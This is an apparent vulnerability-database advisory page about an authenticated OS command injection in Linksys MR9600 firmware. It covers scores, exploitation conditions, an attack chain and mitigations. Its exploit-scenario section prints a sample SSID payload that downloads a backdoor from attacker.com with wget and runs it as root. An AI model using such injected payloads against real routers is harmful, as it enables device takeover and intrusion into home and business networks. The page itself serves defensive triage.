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Linksys MR9600 CVE-2026-4558

| EUVDEUVD-2026-14333 HIGH
OS Command Injection (CWE-78)
2026-03-22 VulDB GHSA-c659-rvfg-wgf8
7.4
CVSS 4.0 · NVD
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Credential acquisition (default/weak passwords)
  2. Delivery
    Authenticate to web admin panel
  3. Exploit
    Access Smart Connect configuration
  4. Install
    Inject shell metacharacters in SSID/passphrase fields
  5. C2
    Router executes arbitrary commands as root
  6. Execute
    Install persistence backdoor
  7. Impact
    Pivot to internal network

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires valid authenticated access to the Linksys MR9600 web administration interface - specifically low-privilege router admin credentials (CVSS PR:L). Authentication may be achieved through default credentials if unchanged (Linksys routers often ship with 'admin' username and no password or device-specific password on label), credential stuffing, password reuse, or social engineering. Exploitation requires the Smart Connect feature to be enabled or accessible in the configuration interface, though this is typically enabled by default on mesh router models. Attack is network-based (CVSS AV:N) with low complexity (AC:L), executable remotely if WAN-side management is enabled or from LAN-connected position. No user interaction required (UI:N) once authenticated session established. Successful exploitation is limited to devices running the confirmed vulnerable firmware version 2.0.6.206937, though adjacent builds may also be affected pending further testing. Primary limiting factor is the authentication requirement - unauthenticated remote attackers cannot exploit this without first compromising admin credentials through other means.

Impact

Real-world risk is moderate despite the 7.4 CVSS score. CVSS vector indicates network-accessible attack requiring low-privilege authentication (PR:L) with high impact across confidentiality, integrity, and availability, which aligns with typical router admin panel exploitation. However, the EPSS score of 0.15% (36th percentile) and absence from CISA KEV suggest this vulnerability is not being actively exploited at scale. SSVC framework rates technical impact as 'total' (full system compromise) but marks exploitation as 'poc' (proof-of-concept only) and automatable as 'no' (requires authenticated session and target knowledge). The requirement for valid router admin credentials significantly reduces mass exploitation potential - attackers need either compromised credentials, default/weak passwords, or prior access via other vulnerabilities. The publicly available GitHub POC lowers the skill barrier for targeted attacks. Primary risk scenarios include: (1) attacker chains this with credential stuffing against routers using default passwords, (2) insider threat from LAN-connected malicious users, (3) post-compromise persistence after initial access via other means. The vendor's non-response to disclosure raises concern about patch availability, though the CVE appears dated 2026 which may indicate a data entry error - verify actual disclosure timeline with VulDB references.

Exploit ScenarioDerived

An attacker scans internet-facing Linksys MR9600 routers using Shodan or similar services to identify devices with remote management enabled on default ports (typically 8080 or 443). Using credential stuffing with known Linksys default credentials or previously breached passwords, the attacker authenticates to the web administration panel. Within the Smart Connect configuration interface, the attacker crafts a malicious SSID parameter such as 'MyNetwork`;wget http://attacker.com/backdoor.sh -O /tmp/b.sh;sh /tmp/b.sh;#' which when processed by smartConnectConfigure function in SmartConnect.lua, executes the injected commands. This downloads and executes a persistent backdoor script, granting the attacker permanent root-level access to the router for traffic interception, DNS hijacking, or using the router as a pivot point into the victim's internal network.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

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AnalysisAIv2 – Apr 30, 2026

OS command injection in Linksys MR9600 mesh router firmware 2.0.6.206937 allows authenticated remote attackers to execute arbitrary system commands with router privileges via crafted Smart Connect configuration parameters. The vulnerability exists in the SmartConnect.lua file's smartConnectConfigure function, which fails to sanitize user input in configApSsid, configApPassphrase, srpLogin, and srpPassword arguments before passing them to system commands. Publicly available exploit code exists (GitHub POC), but EPSS indicates low (0.15%) exploitation probability and CISA has not listed this in KEV, suggesting limited real-world targeting. Vendor (Linksys) did not respond to researcher disclosure.

Earlier versions of this analysis (1)
v1 Mar 22, 2026 - 17:45 CVSS 8.8

A remote OS command injection vulnerability exists in the SmartConnect.lua component of Linksys MR9600 router firmware version 2.0.6.206937. An authenticated attacker with low-level privileges can inject malicious commands through the configApSsid, configApPassphrase, srpLogin, or srpPassword parameters in the smartConnectConfigure function, achieving complete system compromise with high confidentiality, integrity, and availability impact. A public proof-of-concept exploit is available on GitHub, and the vendor has not responded to disclosure attempts, leaving users without an official patch.

RemediationAI

No vendor-released patch identified at time of analysis - Linksys did not respond to researcher disclosure per VulDB advisory (https://vuldb.com/?id.352385). Security teams should implement the following compensating controls with noted trade-offs: (1) Change default admin credentials to strong unique passwords (reduces credential-based attack surface but does not eliminate vulnerability for authenticated users). (2) Disable remote management/WAN-side administrative access via router settings, restricting admin panel to LAN-only access (blocks remote exploitation but requires attackers already have LAN access or compromised credentials; impacts legitimate remote management needs). (3) Implement network segmentation isolating IoT/guest networks from trusted devices (limits lateral movement post-compromise but doesn't prevent initial router exploitation). (4) Monitor router logs for unusual configuration changes or authentication patterns, particularly repeated Smart Connect configuration attempts (detection-focused; doesn't prevent exploitation). (5) Consider firmware downgrade only if prior versions can be confirmed unaffected through independent testing (may introduce other vulnerabilities; Linksys typically does not support downgrades). Regularly check Linksys support site for MR9600 firmware updates beyond build 206937. POC details available at https://github.com/utmost3/cve/issues/1 for defenders to develop detection signatures.

Affected VersionsENISA

MR9600 2.0.6.206937

Affected Packages

euvd mr9600 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Smart Connect feature in Linksys MR9600 tri-band mesh Wi-Fi 6 routers, specifically firmware version 2.0.6.206937 (CPE: cpe:2.3:a:linksys:mr9600:*:*:*:*:*:*:*:*). Smart Connect is a band-steering technology that automatically assigns devices to optimal wireless bands. The flaw resides in SmartConnect.lua, a Lua script component of the router's web management interface. CWE-78 (OS Command Injection) occurs when the smartConnectConfigure function processes user-supplied parameters - including SSID names (configApSsid), passphrases (configApPassphrase), and SRP (Secure Remote Password) authentication credentials (srpLogin/srpPassword) - without proper input validation or sanitization before concatenating them into shell commands. This allows specially crafted input containing shell metacharacters (e.g., semicolons, backticks, command substitution syntax) to break out of intended command context and execute arbitrary OS commands on the router's embedded Linux system with the privileges of the web server process, typically root or equivalent administrative access.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 7.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
Analysis Updated
Apr 30, 2026 - 16:43 vuln.today
v2 - CVSS changed
CVSS changed
Apr 30, 2026 - 16:37 NVD
8.8 (HIGH) 7.4 (HIGH)
PoC Detected
Mar 23, 2026 - 14:31 vuln.today
Public exploit code
CVE Published
Mar 22, 2026 - 17:29 nvd
HIGH 8.8

DescriptionCVE.org

A flaw has been found in Linksys MR9600 2.0.6.206937. Affected is the function smartConnectConfigure of the file SmartConnect.lua. Executing a manipulation of the argument configApSsid/configApPassphrase/srpLogin/srpPassword can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Executive ViewAI

Why It Matters

Linksys MR9600 mesh router firmware 2.0.6.206937 contains an authenticated command injection vulnerability allowing remote attackers to execute arbitrary system commands with full router privileges. Organizations deploying this router model face risk of network compromise, lateral movement, and persistent access if attackers gain valid credentials; this threatens network perimeter security and downstream device protection.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict router administrative access to internal networks only; disable remote management interfaces; (2) Implement network access controls limiting access to SmartConnect configuration parameters to administrative VLANs; (3) Monitor router logs for suspicious command patterns or failed authentication attempts; (4) Apply principle of least privilege to router admin accounts and enforce strong unique credentials; (5) Segment mesh network traffic to prevent lateral movement if compromised.

Threat Intelligence Overview

EPSS Score
0.2%
Top 64% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

57
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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